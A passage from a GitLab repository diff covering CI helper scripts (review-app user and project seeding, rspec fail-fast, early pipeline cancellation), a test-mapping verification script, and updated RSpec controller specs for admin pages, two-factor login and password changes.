+ [[ "$TRACE" ]] && cat /tmp/user.json >&2
+
+ jq .id /tmp/user.json
+}
+
+function create_project_for_user() {
+ local userid="${1}"
+
+ # API details at https://docs.gitlab.com/ee/api/projects.html#create-project-for-user
+ curl --silent --show-error --header "PRIVATE-TOKEN: ${REVIEW_APPS_ROOT_TOKEN}" \
+ --data "user_id=${userid}" \
+ --data "name=awesome-test-project-${userid}" \
+ --data "visibility=private" \
+ "${CI_ENVIRONMENT_URL}/api/v4/projects/user/${userid}" > /tmp/project.json
+
+ [[ "$TRACE" ]] && cat /tmp/project.json >&2
+}
+
+function trigger_proj_user_creation(){
+ local u1=$(create_user "user1")
+ create_project_for_user $u1
+ local u2=$(create_user "user2")
+ create_project_for_user $u2
+ local u3=$(create_user "user3")
+ create_project_for_user $u3
+ local u4=$(create_user "user4")
+ create_project_for_user $u4
+ local u5=$(create_user "user5")
+ create_project_for_user $u5
+ local u6=$(create_user "user6")
+ create_project_for_user $u6
+ local u7=$(create_user "user7")
+ create_project_for_user $u7
+ local u8=$(create_user "user8")
+ create_project_for_user $u8
+ local u9=$(create_user "user9")
+ create_project_for_user $u9
+ local u10=$(create_user "user10")
+ create_project_for_user $u10
+ local u11=$(create_user "user11")
+ create_project_for_user $u11
+ local u12=$(create_user "user12")
+ create_project_for_user $u12
+ local u13=$(create_user "user13")
+ create_project_for_user $u13
+ local u14=$(create_user "user14")
+ create_project_for_user $u14
+}
diff --git a/scripts/rspec_helpers.sh b/scripts/rspec_helpers.sh
index 1ecf9a566d7..3812a8b8ef7 100644
--- a/scripts/rspec_helpers.sh
+++ b/scripts/rspec_helpers.sh
@@ -111,7 +111,28 @@ function rspec_paralellized_job() {
date
}
-function rspec_matched_tests() {
+function rspec_fail_fast() {
+ local test_file_count_threshold=${RSPEC_FAIL_FAST_TEST_FILE_COUNT_THRESHOLD:-10}
+ local matching_tests_file=${1}
+ local rspec_opts=${2}
+ local test_files="$(cat "${matching_tests_file}")"
+ local test_file_count=$(wc -w "${matching_tests_file}" | awk {'print $1'})
+
+ if [[ "${test_file_count}" -gt "${test_file_count_threshold}" ]]; then
+ echo "This job is intentionally skipped because there are more than ${test_file_count_threshold} test files matched,"
+ echo "which would take too long to run in this job."
+ echo "All the tests would be run in other rspec jobs."
+ exit 0
+ fi
+
+ if [[ -n $test_files ]]; then
+ rspec_simple_job "${rspec_opts} ${test_files}"
+ else
+ echo "No rspec fail-fast tests to run"
+ fi
+}
+
+function rspec_matched_foss_tests() {
local test_file_count_threshold=20
local matching_tests_file=${1}
local rspec_opts=${2}
@@ -131,6 +152,6 @@ function rspec_matched_tests() {
if [[ -n $test_files ]]; then
rspec_simple_job "${rspec_opts} ${test_files}"
else
- echo "No test files to run"
+ echo "No impacted FOSS rspec tests to run"
fi
}
diff --git a/scripts/trigger-build b/scripts/trigger-build
index 7fc550d86ee..ab6dcc63e11 100755
--- a/scripts/trigger-build
+++ b/scripts/trigger-build
@@ -138,8 +138,12 @@ module Trigger
def extra_variables
# Use CI_MERGE_REQUEST_SOURCE_BRANCH_SHA for omnibus checkouts due to pipeline for merged results
# and fallback to CI_COMMIT_SHA for the `detached` pipelines.
+ # We also set IMAGE_TAG so the GitLab and QA docker images are tagged with
+ # that SHA.
+ source_sha = Trigger.non_empty_variable_value('CI_MERGE_REQUEST_SOURCE_BRANCH_SHA') || ENV['CI_COMMIT_SHA']
{
- 'GITLAB_VERSION' => Trigger.non_empty_variable_value('CI_MERGE_REQUEST_SOURCE_BRANCH_SHA') || ENV['CI_COMMIT_SHA'],
+ 'GITLAB_VERSION' => source_sha,
+ 'IMAGE_TAG' => source_sha,
'ALTERNATIVE_SOURCES' => 'true',
'SECURITY_SOURCES' => Trigger.security? ? 'true' : 'false',
'ee' => Trigger.ee? ? 'true' : 'false',
@@ -317,8 +321,6 @@ module Trigger
INTERVAL = 60 # seconds
MAX_DURATION = 3600 * 3 # 3 hours
- attr_reader :project, :id
-
def self.unscoped_class_name
name.split('::').last
end
@@ -330,34 +332,30 @@ module Trigger
def initialize(project, id)
@project = project
@id = id
- @start = Time.now.to_i
+ @start_time = Time.now.to_i
end
def wait!
- loop do
- raise "#{self.class.unscoped_class_name} timed out after waiting for #{duration} minutes!" if timeout?
-
+ (MAX_DURATION / INTERVAL).times do
case status
when :created, :pending, :running
print "."
sleep INTERVAL
when :success
puts "#{self.class.unscoped_class_name} succeeded in #{duration} minutes!"
- break
+ return
else
raise "#{self.class.unscoped_class_name} did not succeed!"
end
STDOUT.flush
end
- end
- def timeout?
- Time.now.to_i > (@start + MAX_DURATION)
+ raise "#{self.class.unscoped_class_name} timed out after waiting for #{duration} minutes!"
end
def duration
- (Time.now.to_i - @start) / 60
+ (Time.now.to_i - start_time) / 60
end
def status
@@ -368,6 +366,10 @@ module Trigger
# timeout anyway.
:running
end
+
+ private
+
+ attr_reader :project, :id, :start_time
end
Job = Class.new(Pipeline)
diff --git a/scripts/utils.sh b/scripts/utils.sh
index f81e5c8982a..9d188fc7b77 100644
--- a/scripts/utils.sh
+++ b/scripts/utils.sh
@@ -35,6 +35,10 @@ function install_gitlab_gem() {
gem install gitlab --no-document --version 4.13.0
}
+function install_tff_gem() {
+ gem install test_file_finder --version 0.1.0
+}
+
function run_timed_command() {
local cmd="${1}"
local start=$(date +%s)
@@ -106,7 +110,7 @@ function get_job_id() {
let "page++"
done
- if [[ "${job_id}" == "" ]]; then
+ if [[ "${job_id}" == "null" ]]; then # jq prints "null" for non-existent attribute
echoerr "The '${job_name}' job ID couldn't be retrieved!"
else
echoinfo "The '${job_name}' job ID is ${job_id}"
@@ -133,3 +137,15 @@ function play_job() {
job_url=$(curl --silent --show-error --request POST --header "PRIVATE-TOKEN: ${api_token}" "${url}" | jq ".web_url")
echoinfo "Manual job '${job_name}' started at: ${job_url}"
}
+
+function fail_pipeline_early() {
+ local dont_interrupt_me_job_id
+ dont_interrupt_me_job_id=$(get_job_id 'dont-interrupt-me' 'scope=success')
+
+ if [[ -n "${dont_interrupt_me_job_id}" ]]; then
+ echoinfo "This pipeline cannot be interrupted due to \`dont-interrupt-me\` job ${dont_interrupt_me_job_id}"
+ else
+ echoinfo "Failing pipeline early for fast feedback due to test failures in rspec fail-fast."
+ curl --request POST --header "PRIVATE-TOKEN: ${GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN}" "https://${CI_SERVER_HOST}/api/v4/projects/${CI_PROJECT_ID}/pipelines/${CI_PIPELINE_ID}/cancel"
+ fi
+}
diff --git a/scripts/verify-tff-mapping b/scripts/verify-tff-mapping
new file mode 100755
index 00000000000..9541d2468b1
--- /dev/null
+++ b/scripts/verify-tff-mapping
@@ -0,0 +1,163 @@
+#!/usr/bin/env ruby
+
+require 'set'
+
+# These tests run a sanity check on the mapping file `tests.yml`
+# used with the `test_file_finder` gem (`tff`) to identify matching test files.
+# The verification depend on the presence of actual test files,
+# so they would fail if one of the test files mentioned here is deleted.
+# To minimize the chance of this test failing due to unrelated changes,
+# the test files are chosen to be critical files that are unlikely to be deleted in a typical Merge Request
+tests = [
+ {
+ explanation: 'EE code should map to respective spec',
+ source: 'ee/app/controllers/admin/licenses_controller.rb',
+ expected: ['ee/spec/controllers/admin/licenses_controller_spec.rb']
+ },
+
+ {
+ explanation: 'FOSS code should map to respective spec',
+ source: 'app/finders/admin/projects_finder.rb',
+ expected: ['spec/finders/admin/projects_finder_spec.rb']
+ },
+
+ {
+ explanation: 'EE extension should map to its EE extension spec and its FOSS class spec',
+ source: 'ee/app/finders/ee/projects_finder.rb',
+ expected: ['ee/spec/finders/ee/projects_finder_spec.rb', 'spec/finders/projects_finder_spec.rb']
+ },
+
+ {
+ explanation: 'Some EE extensions also map to its EE class spec, but this is not recommended: https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features',
+ source: 'ee/app/models/ee/user.rb',
+ expected: ['ee/spec/models/user_spec.rb', 'spec/models/user_spec.rb']
+ },
+
+ {
+ explanation: 'FOSS lib should map to respective spec',
+ source: 'lib/gitaly/server.rb',
+ expected: ['spec/lib/gitaly/server_spec.rb']
+ },
+
+ {
+ explanation: 'EE lib should map to respective spec',
+ source: 'ee/lib/flipper_session.rb',
+ expected: ['ee/spec/lib/flipper_session_spec.rb']
+ },
+
+ {
+ explanation: 'Tooling should map to respective spec',
+ source: 'tooling/lib/tooling/test_file_finder.rb',
+ expected: ['spec/tooling/lib/tooling/test_file_finder_spec.rb']
+ },
+
+ {
+ explanation: 'FOSS spec code should map to itself',
+ source: 'spec/models/issue_spec.rb',
+ expected: ['spec/models/issue_spec.rb']
+ },
+
+ {
+ explanation: 'EE spec code should map to itself',
+ source: 'ee/spec/models/user_spec.rb',
+ expected: ['ee/spec/models/user_spec.rb']
+ },
+
+ {
+ explanation: 'EE extension spec should map to itself and the FOSS class spec',
+ source: 'ee/spec/services/ee/notification_service_spec.rb',
+ expected: ['ee/spec/services/ee/notification_service_spec.rb', 'spec/services/notification_service_spec.rb']
+ },
+
+ {
+ explanation: 'FOSS factory should map to factories spec',
+ source: 'spec/factories/users.rb',
+ expected: ['spec/factories_spec.rb']
+ },
+
+ {
+ explanation: 'EE factory should map to factories spec',
+ source: 'ee/spec/factories/users.rb',
+ expected: ['spec/factories_spec.rb']
+ },
+
+ {
+ explanation: 'Initializers should map to respective spec',
+ source: 'config/initializers/action_mailer_hooks.rb',
+ expected: ['spec/initializers/action_mailer_hooks_spec.rb']
+ },
+
+ {
+ explanation: 'FOSS views should map to respective spec',
+ source: 'app/views/admin/users/_user.html.haml',
+ expected: ['spec/views/admin/users/_user.html.haml_spec.rb']
+ },
+
+ {
+ explanation: 'EE views should map to respective spec',
+ source: 'ee/app/views/admin/licenses/show.html.haml',
+ expected: ['ee/spec/views/admin/licenses/show.html.haml_spec.rb']
+ },
+
+ {
+ explanation: 'DB structure should map to schema spec',
+ source: 'db/structure.sql',
+ expected: ['spec/db/schema_spec.rb']
+ },
+
+ {
+ explanation: 'Migration should map to its non-timestamped spec',
+ source: 'db/migrate/20191023152913_add_default_and_free_plans.rb',
+ expected: ['spec/migrations/add_default_and_free_plans_spec.rb']
+ },
+
+ {
+ explanation: 'Migration should map to its timestamped spec',
+ source: 'db/post_migrate/20190924152703_migrate_issue_trackers_data.rb',
+ expected: ['spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb']
+ }
+]
+
+class MappingTest
+ def initialize(explanation:, source:, expected:, mapping: 'tests.yml')
+ @explanation = explanation
+ @source = source
+ @mapping = mapping
+ @expected_set = Set.new(expected)
+ @actual_set = Set.new(actual)
+ end
+
+ def passed?
+ expected_set.eql?(actual_set)
+ end
+
+ def failed?
+ !passed?
+ end
+
+ def failure_message
+ "#{explanation}: #{source}: Expected #{expected_set.to_a}, got #{actual_set.to_a}."
+ end
+
+ private
+
+ attr_reader :explanation, :source, :expected_set, :actual_set, :mapping
+
+ def actual
+ `tff -f #{mapping} #{source}`.split(' ')
+ end
+end
+
+results = tests.map { |test| MappingTest.new(test) }
+
+failed_tests = results.select(&:failed?)
+if failed_tests.any?
+ puts <<~MESSAGE
+ tff mapping verification failed:
+ #{failed_tests.map(&:failure_message).join("\n")}
+ MESSAGE
+
+ exit 1
+end
+
+puts 'tff mapping verification passed.'
diff --git a/spec/bin/feature_flag_spec.rb b/spec/bin/feature_flag_spec.rb
index f85b8f22210..41117880f95 100644
--- a/spec/bin/feature_flag_spec.rb
+++ b/spec/bin/feature_flag_spec.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
+require 'rspec-parameterized'
load File.expand_path('../../bin/feature-flag', __dir__)
@@ -11,25 +12,20 @@ RSpec.describe 'bin/feature-flag' do
let(:argv) { %w[feature-flag-name -t development -g group::memory -i https://url -m http://url] }
let(:options) { FeatureFlagOptionParser.parse(argv) }
let(:creator) { described_class.new(options) }
- let(:existing_flag) { File.join('config', 'feature_flags', 'development', 'existing-feature-flag.yml') }
+ let(:existing_flags) do
+ { 'existing-feature-flag' => File.join('config', 'feature_flags', 'development', 'existing-feature-flag.yml') }
+ end
before do
- # create a dummy feature flag
- FileUtils.mkdir_p(File.dirname(existing_flag))
- File.write(existing_flag, '{}')
+ allow(creator).to receive(:all_feature_flag_names) { existing_flags }
+ allow(creator).to receive(:branch_name) { 'feature-branch' }
+ allow(creator).to receive(:editor) { nil }
# ignore writes
allow(File).to receive(:write).and_return(true)
# ignore stdin
allow($stdin).to receive(:gets).and_raise('EOF')
-
- # ignore Git commands
- allow(creator).to receive(:branch_name) { 'feature-branch' }
- end
-
- after do
- FileUtils.rm_f(existing_flag)
end
subject { creator.execute }
@@ -139,7 +135,7 @@ RSpec.describe 'bin/feature-flag' do
expect($stdin).to receive(:gets).and_return(type)
expect do
expect(described_class.read_type).to eq(:development)
- end.to output(/specify the type/).to_stdout
+ end.to output(/Specify the feature flag type/).to_stdout
end
context 'when invalid type is given' do
@@ -151,7 +147,7 @@ RSpec.describe 'bin/feature-flag' do
expect do
expect { described_class.read_type }.to raise_error(/EOF/)
- end.to output(/specify the type/).to_stdout
+ end.to output(/Specify the feature flag type/).to_stdout
.and output(/Invalid type specified/).to_stderr
end
end
@@ -165,7 +161,7 @@ RSpec.describe 'bin/feature-flag' do
expect($stdin).to receive(:gets).and_return(group)
expect do
expect(described_class.read_group).to eq('group::memory')
- end.to output(/specify the group/).to_stdout
+ end.to output(/Specify the group introducing the feature flag/).to_stdout
end
context 'invalid group given' do
@@ -177,8 +173,8 @@ RSpec.describe 'bin/feature-flag' do
expect do
expect { described_class.read_group }.to raise_error(/EOF/)
- end.to output(/specify the group/).to_stdout
- .and output(/Group needs to include/).to_stderr
+ end.to output(/Specify the group introducing the feature flag/).to_stdout
+ .and output(/The group needs to include/).to_stderr
end
end
end
@@ -190,7 +186,7 @@ RSpec.describe 'bin/feature-flag' do
expect($stdin).to receive(:gets).and_return(url)
expect do
expect(described_class.read_introduced_by_url).to eq('https://merge-request')
- end.to output(/can you paste the URL here/).to_stdout
+ end.to output(/URL of the MR introducing the feature flag/).to_stdout
end
context 'empty URL given' do
@@ -200,7 +196,7 @@ RSpec.describe 'bin/feature-flag' do
expect($stdin).to receive(:gets).and_return(url)
expect do
expect(described_class.read_introduced_by_url).to be_nil
- end.to output(/can you paste the URL here/).to_stdout
+ end.to output(/URL of the MR introducing the feature flag/).to_stdout
end
end
@@ -213,7 +209,7 @@ RSpec.describe 'bin/feature-flag' do
expect do
expect { described_class.read_introduced_by_url }.to raise_error(/EOF/)
- end.to output(/can you paste the URL here/).to_stdout
+ end.to output(/URL of the MR introducing the feature flag/).to_stdout
.and output(/URL needs to start with/).to_stderr
end
end
@@ -227,7 +223,7 @@ RSpec.describe 'bin/feature-flag' do
expect($stdin).to receive(:gets).and_return(url)
expect do
expect(described_class.read_rollout_issue_url(options)).to eq('https://issue')
- end.to output(/Paste URL of `rollout issue` here/).to_stdout
+ end.to output(/URL of the rollout issue/).to_stdout
end
context 'invalid URL given' do
@@ -239,7 +235,7 @@ RSpec.describe 'bin/feature-flag' do
expect do
expect { described_class.read_rollout_issue_url(options) }.to raise_error(/EOF/)
- end.to output(/Paste URL of `rollout issue` here/).to_stdout
+ end.to output(/URL of the rollout issue/).to_stdout
.and output(/URL needs to start/).to_stderr
end
end
diff --git a/spec/controllers/admin/cohorts_controller_spec.rb b/spec/controllers/admin/cohorts_controller_spec.rb
new file mode 100644
index 00000000000..9eb2a713517
--- /dev/null
+++ b/spec/controllers/admin/cohorts_controller_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::CohortsController do
+ context 'as admin' do
+ let(:user) { create(:admin) }
+
+ before do
+ sign_in(user)
+ end
+
+ it 'renders 200' do
+ get :index
+
+ expect(response).to have_gitlab_http_status(:success)
+ end
+
+ describe 'GET #index' do
+ it_behaves_like 'tracking unique visits', :index do
+ let(:target_id) { 'i_analytics_cohorts' }
+ end
+ end
+ end
+
+ context 'as normal user' do
+ let(:user) { create(:user) }
+
+ before do
+ sign_in(user)
+ end
+
+ it 'renders a 404' do
+ get :index
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+end
diff --git a/spec/controllers/admin/dev_ops_report_controller_spec.rb b/spec/controllers/admin/dev_ops_report_controller_spec.rb
new file mode 100644
index 00000000000..0be30fff0c2
--- /dev/null
+++ b/spec/controllers/admin/dev_ops_report_controller_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::DevOpsReportController do
+ describe 'GET #show' do
+ context 'as admin' do
+ let(:user) { create(:admin) }
+
+ before do
+ sign_in(user)
+ end
+
+ it 'responds with success' do
+ get :show
+
+ expect(response).to have_gitlab_http_status(:success)
+ end
+
+ it_behaves_like 'tracking unique visits', :show do
+ let(:target_id) { 'i_analytics_dev_ops_score' }
+ end
+ end
+ end
+
+ context 'as normal user' do
+ let(:user) { create(:user) }
+
+ before do
+ sign_in(user)
+ end
+
+ it 'responds with 404' do
+ get :show
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+end
diff --git a/spec/controllers/admin/instance_statistics_controller_spec.rb b/spec/controllers/admin/instance_statistics_controller_spec.rb
new file mode 100644
index 00000000000..c589e46857f
--- /dev/null
+++ b/spec/controllers/admin/instance_statistics_controller_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::InstanceStatisticsController do
+ let(:admin) { create(:user, :admin) }
+
+ before do
+ sign_in(admin)
+ end
+
+ describe 'GET #show' do
+ it_behaves_like 'tracking unique visits', :index do
+ let(:target_id) { 'i_analytics_instance_statistics' }
+ end
+ end
+end
diff --git a/spec/controllers/admin/integrations_controller_spec.rb b/spec/controllers/admin/integrations_controller_spec.rb
index 4a5d5ede728..4b1806a43d2 100644
--- a/spec/controllers/admin/integrations_controller_spec.rb
+++ b/spec/controllers/admin/integrations_controller_spec.rb
@@ -23,12 +23,15 @@ RSpec.describe Admin::IntegrationsController do
end
describe '#update' do
+ include JiraServiceHelper
+
let(:integration) { create(:jira_service, :instance) }
before do
+ stub_jira_service_test
allow(PropagateIntegrationWorker).to receive(:perform_async)
- put :update, params: { id: integration.class.to_param, overwrite: true, service: { url: url } }
+ put :update, params: { id: integration.class.to_param, service: { url: url } }
end
context 'valid params' do
@@ -40,7 +43,7 @@ RSpec.describe Admin::IntegrationsController do
end
it 'calls to PropagateIntegrationWorker' do
- expect(PropagateIntegrationWorker).to have_received(:perform_async).with(integration.id, true)
+ expect(PropagateIntegrationWorker).to have_received(:perform_async).with(integration.id, false)
end
end
diff --git a/spec/controllers/admin/plan_limits_controller_spec.rb b/spec/controllers/admin/plan_limits_controller_spec.rb
new file mode 100644
index 00000000000..2666925c2b7
--- /dev/null
+++ b/spec/controllers/admin/plan_limits_controller_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::PlanLimitsController do
+ let_it_be(:plan) { create(:plan) }
+ let_it_be(:plan_limits) { create(:plan_limits, plan: plan) }
+
+ describe 'POST create' do
+ let(:params) do
+ {
+ plan_limits: {
+ plan_id: plan.id,
+ conan_max_file_size: file_size, id: plan_limits.id
+ }
+ }
+ end
+
+ context 'with an authenticated admin user' do
+ let(:file_size) { 10.megabytes }
+
+ it 'updates the plan limits', :aggregate_failures do
+ sign_in(create(:admin))
+
+ post :create, params: params
+
+ expect(response).to redirect_to(general_admin_application_settings_path)
+ expect(plan_limits.reload.conan_max_file_size).to eq(file_size)
+ end
+ end
+
+ context 'without admin access' do
+ let(:file_size) { 1.megabytes }
+
+ it 'returns `not_found`' do
+ sign_in(create(:user))
+
+ post :create, params: params
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(plan_limits.conan_max_file_size).not_to eq(file_size)
+ end
+ end
+ end
+end
diff --git a/spec/controllers/admin/sessions_controller_spec.rb b/spec/controllers/admin/sessions_controller_spec.rb
index 82366cc6952..35982e57034 100644
--- a/spec/controllers/admin/sessions_controller_spec.rb
+++ b/spec/controllers/admin/sessions_controller_spec.rb
@@ -220,10 +220,8 @@ RSpec.describe Admin::SessionsController, :do_not_mock_admin_mode do
end
end
- context 'when using two-factor authentication via U2F' do
- let(:user) { create(:admin, :two_factor_via_u2f) }
-
- def authenticate_2fa_u2f(user_params)
+ shared_examples 'when using two-factor authentication via hardware device' do
+ def authenticate_2fa(user_params)
post(:create, params: { user: user_params }, session: { otp_user_id: user.id })
end
@@ -239,14 +237,18 @@ RSpec.describe Admin::SessionsController, :do_not_mock_admin_mode do
end
it 'can login with valid auth' do
+ # we can stub both without an differentiation between webauthn / u2f
+ # as these not interfere with each other und this saves us passing aroud
+ # parameters
allow(U2fRegistration).to receive(:authenticate).and_return(true)
+ allow_any_instance_of(Webauthn::AuthenticateService).to receive(:execute).and_return(true)
expect(controller.current_user_mode.admin_mode?).to be(false)
controller.store_location_for(:redirect, admin_root_path)
controller.current_user_mode.request_admin_mode!
- authenticate_2fa_u2f(login: user.username, device_response: '{}')
+ authenticate_2fa(login: user.username, device_response: '{}')
expect(response).to redirect_to admin_root_path
expect(controller.current_user_mode.admin_mode?).to be(true)
@@ -254,16 +256,33 @@ RSpec.describe Admin::SessionsController, :do_not_mock_admin_mode do
it 'cannot login with invalid auth' do
allow(U2fRegistration).to receive(:authenticate).and_return(false)
+ allow_any_instance_of(Webauthn::AuthenticateService).to receive(:execute).and_return(false)
expect(controller.current_user_mode.admin_mode?).to be(false)
controller.current_user_mode.request_admin_mode!
- authenticate_2fa_u2f(login: user.username, device_response: '{}')
+ authenticate_2fa(login: user.username, device_response: '{}')
expect(response).to render_template('admin/sessions/two_factor')
expect(controller.current_user_mode.admin_mode?).to be(false)
end
end
+
+ context 'when using two-factor authentication via U2F' do
+ it_behaves_like 'when using two-factor authentication via hardware device' do
+ let(:user) { create(:admin, :two_factor_via_u2f) }
+
+ before do
+ stub_feature_flags(webauthn: false)
+ end
+ end
+ end
+
+ context 'when using two-factor authentication via WebAuthn' do
+ it_behaves_like 'when using two-factor authentication via hardware device' do
+ let(:user) { create(:admin, :two_factor_via_webauthn) }
+ end
+ end
end
end
diff --git a/spec/controllers/admin/users_controller_spec.rb b/spec/controllers/admin/users_controller_spec.rb
index 08a1d7c9fa9..e4cdcda756b 100644
--- a/spec/controllers/admin/users_controller_spec.rb
+++ b/spec/controllers/admin/users_controller_spec.rb
@@ -218,28 +218,44 @@ RSpec.describe Admin::UsersController do
end
describe 'PATCH disable_two_factor' do
- it 'disables 2FA for the user' do
- expect(user).to receive(:disable_two_factor!)
- allow(subject).to receive(:user).and_return(user)
+ subject { patch :disable_two_factor, params: { id: user.to_param } }
- go
- end
+ context 'for a user that has 2FA enabled' do
+ let(:user) { create(:user, :two_factor) }
- it 'redirects back' do
- go
+ it 'disables 2FA for the user' do
+ subject
- expect(response).to redirect_to(admin_user_path(user))
- end
+ expect(user.reload.two_factor_enabled?).to eq(false)
+ end
+
+ it 'redirects back' do
+ subject
+
+ expect(response).to redirect_to(admin_user_path(user))
+ end
- it 'displays an alert' do
- go
+ it 'displays a notice on success' do
+ subject
- expect(flash[:notice])
- .to eq _('Two-factor Authentication has been disabled for this user')
+ expect(flash[:notice])
+ .to eq _('Two-factor authentication has been disabled for this user')
+ end
end
- def go
- patch :disable_two_factor, params: { id: user.to_param }
+ context 'for a user that does not have 2FA enabled' do
+ it 'redirects back' do
+ subject
+
+ expect(response).to redirect_to(admin_user_path(user))
+ end
+
+ it 'displays an alert on failure' do
+ subject
+
+ expect(flash[:alert])
+ .to eq _('Two-factor authentication is not enabled for this user')
+ end
end
end
@@ -270,82 +286,111 @@ RSpec.describe Admin::UsersController do
describe 'POST update' do
context 'when the password has changed' do
- def update_password(user, password, password_confirmation = nil)
+ def update_password(user, password = User.random_password, password_confirmation = password)
params = {
id: user.to_param,
user: {
password: password,
- password_confirmation: password_confirmation || password
+ password_confirmation: password_confirmation
}
}
post :update, params: params
end
- context 'when the admin changes their own password' do
- it 'updates the password' do
- expect { update_password(admin, 'AValidPassword1') }
- .to change { admin.reload.encrypted_password }
- end
-
- it 'does not set the new password to expire immediately' do
- expect { update_password(admin, 'AValidPassword1') }
- .not_to change { admin.reload.password_expires_at }
+ context 'when admin changes their own password' do
+ context 'when password is valid' do
+ it 'updates the password' do
+ expect { update_password(admin) }
+ .to change { admin.reload.encrypted_password }
+ end
+
+ it 'does not set the new password to expire immediately' do
+ expect { update_password(admin) }
+ .not_to change { admin.reload.password_expired? }
+ end
+
+ it 'does not enqueue the `admin changed your password` email' do
+ expect { update_password(admin) }
+ .not_to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+
+ it 'enqueues the `password changed` email' do
+ expect { update_password(admin) }
+ .to have_enqueued_mail(DeviseMailer, :password_change)
+ end
end
end
- context 'when the new password is valid' do
- it 'redirects to the user' do
- update_password(user, 'AValidPassword1')
-
- expect(response).to redirect_to(admin_user_path(user))
- end
-
- it 'updates the password' do
- expect { update_password(user, 'AValidPassword1') }
- .to change { user.reload.encrypted_password }
- end
-
- it 'sets the new password to expire immediately' do
- expect { update_password(user, 'AValidPassword1') }
- .to change { user.reload.password_expires_at }.to be_within(2.seconds).of(Time.current)
+ context 'when admin changes the password of another user' do
+ context 'when the new password is valid' do
+ it 'redirects to the user' do
+ update_password(user)
+
+ expect(response).to redirect_to(admin_user_path(user))
+ end
+
+ it 'updates the password' do
+ expect { update_password(user) }
+ .to change { user.reload.encrypted_password }
+ end
+
+ it 'sets the new password to expire immediately' do
+ expect { update_password(user) }
+ .to change { user.reload.password_expired? }.from(false).to(true)
+ end
+
+ it 'enqueues the `admin changed your password` email' do
+ expect { update_password(user) }
+ .to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+
+ it 'does not enqueue the `password changed` email' do
+ expect { update_password(user) }
+ .not_to have_enqueued_mail(DeviseMailer, :password_change)
+ end
end
end
context 'when the new password is invalid' do
+ let(:password) { 'invalid' }
+
it 'shows the edit page again' do
- update_password(user, 'invalid')
+ update_password(user, password)
expect(response).to render_template(:edit)
end
it 'returns the error message' do
- update_password(user, 'invalid')
+ update_password(user, password)
expect(assigns[:user].errors).to contain_exactly(a_string_matching(/too short/))
end
it 'does not update the password' do
- expect { update_password(user, 'invalid') }
+ expect { update_password(user, password) }
.not_to change { user.reload.encrypted_password }
end
end
context 'when the new password does not match the password confirmation' do
+ let(:password) { 'some_password' }
+ let(:password_confirmation) { 'not_same_as_password' }
+
it 'shows the edit page again' do
- update_password(user, 'AValidPassword1', 'AValidPassword2')
+ update_password(user, password, password_confirmation)
expect(response).to render_template(:edit)
end
it 'returns the error message' do
- update_password(user, 'AValidPassword1', 'AValidPassword2')
+ update_password(user, password, password_confirmation)
expect(assigns[:user].errors).to contain_exactly(a_string_matching(/doesn't match/))
end
it 'does not update the password' do
- expect { update_password(user, 'AValidPassword1', 'AValidPassword2') }
+ expect { update_password(user, password, password_confirmation) }
.not_to change { user.reload.encrypted_password }
end
end
diff --git a/spec/controllers/application_controller_spec.rb b/spec/controllers/application_controller_spec.rb
index f8d4690e9ce..188a4cb04af 100644
--- a/spec/controllers/application_controller_spec.rb
+++ b/spec/controllers/application_controller_spec.rb
@@ -795,13 +795,8 @@ RSpec.describe ApplicationController do
end
let(:user) { create(:user) }
- let(:experiment_enabled) { true }
- before do
- stub_experiment_for_user(signup_flow: experiment_enabled)
- end
-
- context 'experiment enabled and user with required role' do
+ context 'user with required role' do
before do
user.set_role_required!
sign_in(user)
@@ -811,7 +806,7 @@ RSpec.describe ApplicationController do
it { is_expected.to redirect_to users_sign_up_welcome_path }
end
- context 'experiment enabled and user without a required role' do
+ context 'user without a required role' do
before do
sign_in(user)
get :index
@@ -819,43 +814,31 @@ RSpec.describe ApplicationController do
it { is_expected.not_to redirect_to users_sign_up_welcome_path }
end
+ end
- context 'experiment disabled' do
- let(:experiment_enabled) { false }
+ describe 'rescue_from Gitlab::Auth::IpBlacklisted' do
+ controller(described_class) do
+ skip_before_action :authenticate_user!
- before do
- user.set_role_required!
- sign_in(user)
- get :index
+ def index
+ raise Gitlab::Auth::IpBlacklisted
end
-
- it { is_expected.not_to redirect_to users_sign_up_welcome_path }
end
- describe 'rescue_from Gitlab::Auth::IpBlacklisted' do
- controller(described_class) do
- skip_before_action :authenticate_user!
-
- def index
- raise Gitlab::Auth::IpBlacklisted
- end
- end
-
- it 'returns a 403 and logs the request' do
- expect(Gitlab::AuthLogger).to receive(:error).with({
- message: 'Rack_Attack',
- env: :blocklist,
- remote_ip: '1.2.3.4',
- request_method: 'GET',
- path: '/anonymous'
- })
+ it 'returns a 403 and logs the request' do
+ expect(Gitlab::AuthLogger).to receive(:error).with({
+ message: 'Rack_Attack',
+ env: :blocklist,
+ remote_ip: '1.2.3.4',
+ request_method: 'GET',
+ path: '/anonymous'
+ })
- request.remote_addr = '1.2.3.4'
+ request.remote_addr = '1.2.3.4'
- get :index
+ get :index
- expect(response).to have_gitlab_http_status(:forbidden)
- end
+ expect(response).to have_gitlab_http_status(:forbidden)
end
end
diff --git a/spec/controllers/concerns/redis_tracking_spec.rb b/spec/controllers/concerns/redis_tracking_spec.rb
new file mode 100644
index 00000000000..3795fca5576
--- /dev/null
+++ b/spec/controllers/concerns/redis_tracking_spec.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe RedisTracking do
+ let(:event_name) { 'g_compliance_dashboard' }
+ let(:feature) { 'g_compliance_dashboard_feature' }
+ let(:user) { create(:user) }
+
+ controller(ApplicationController) do
+ include RedisTracking
+
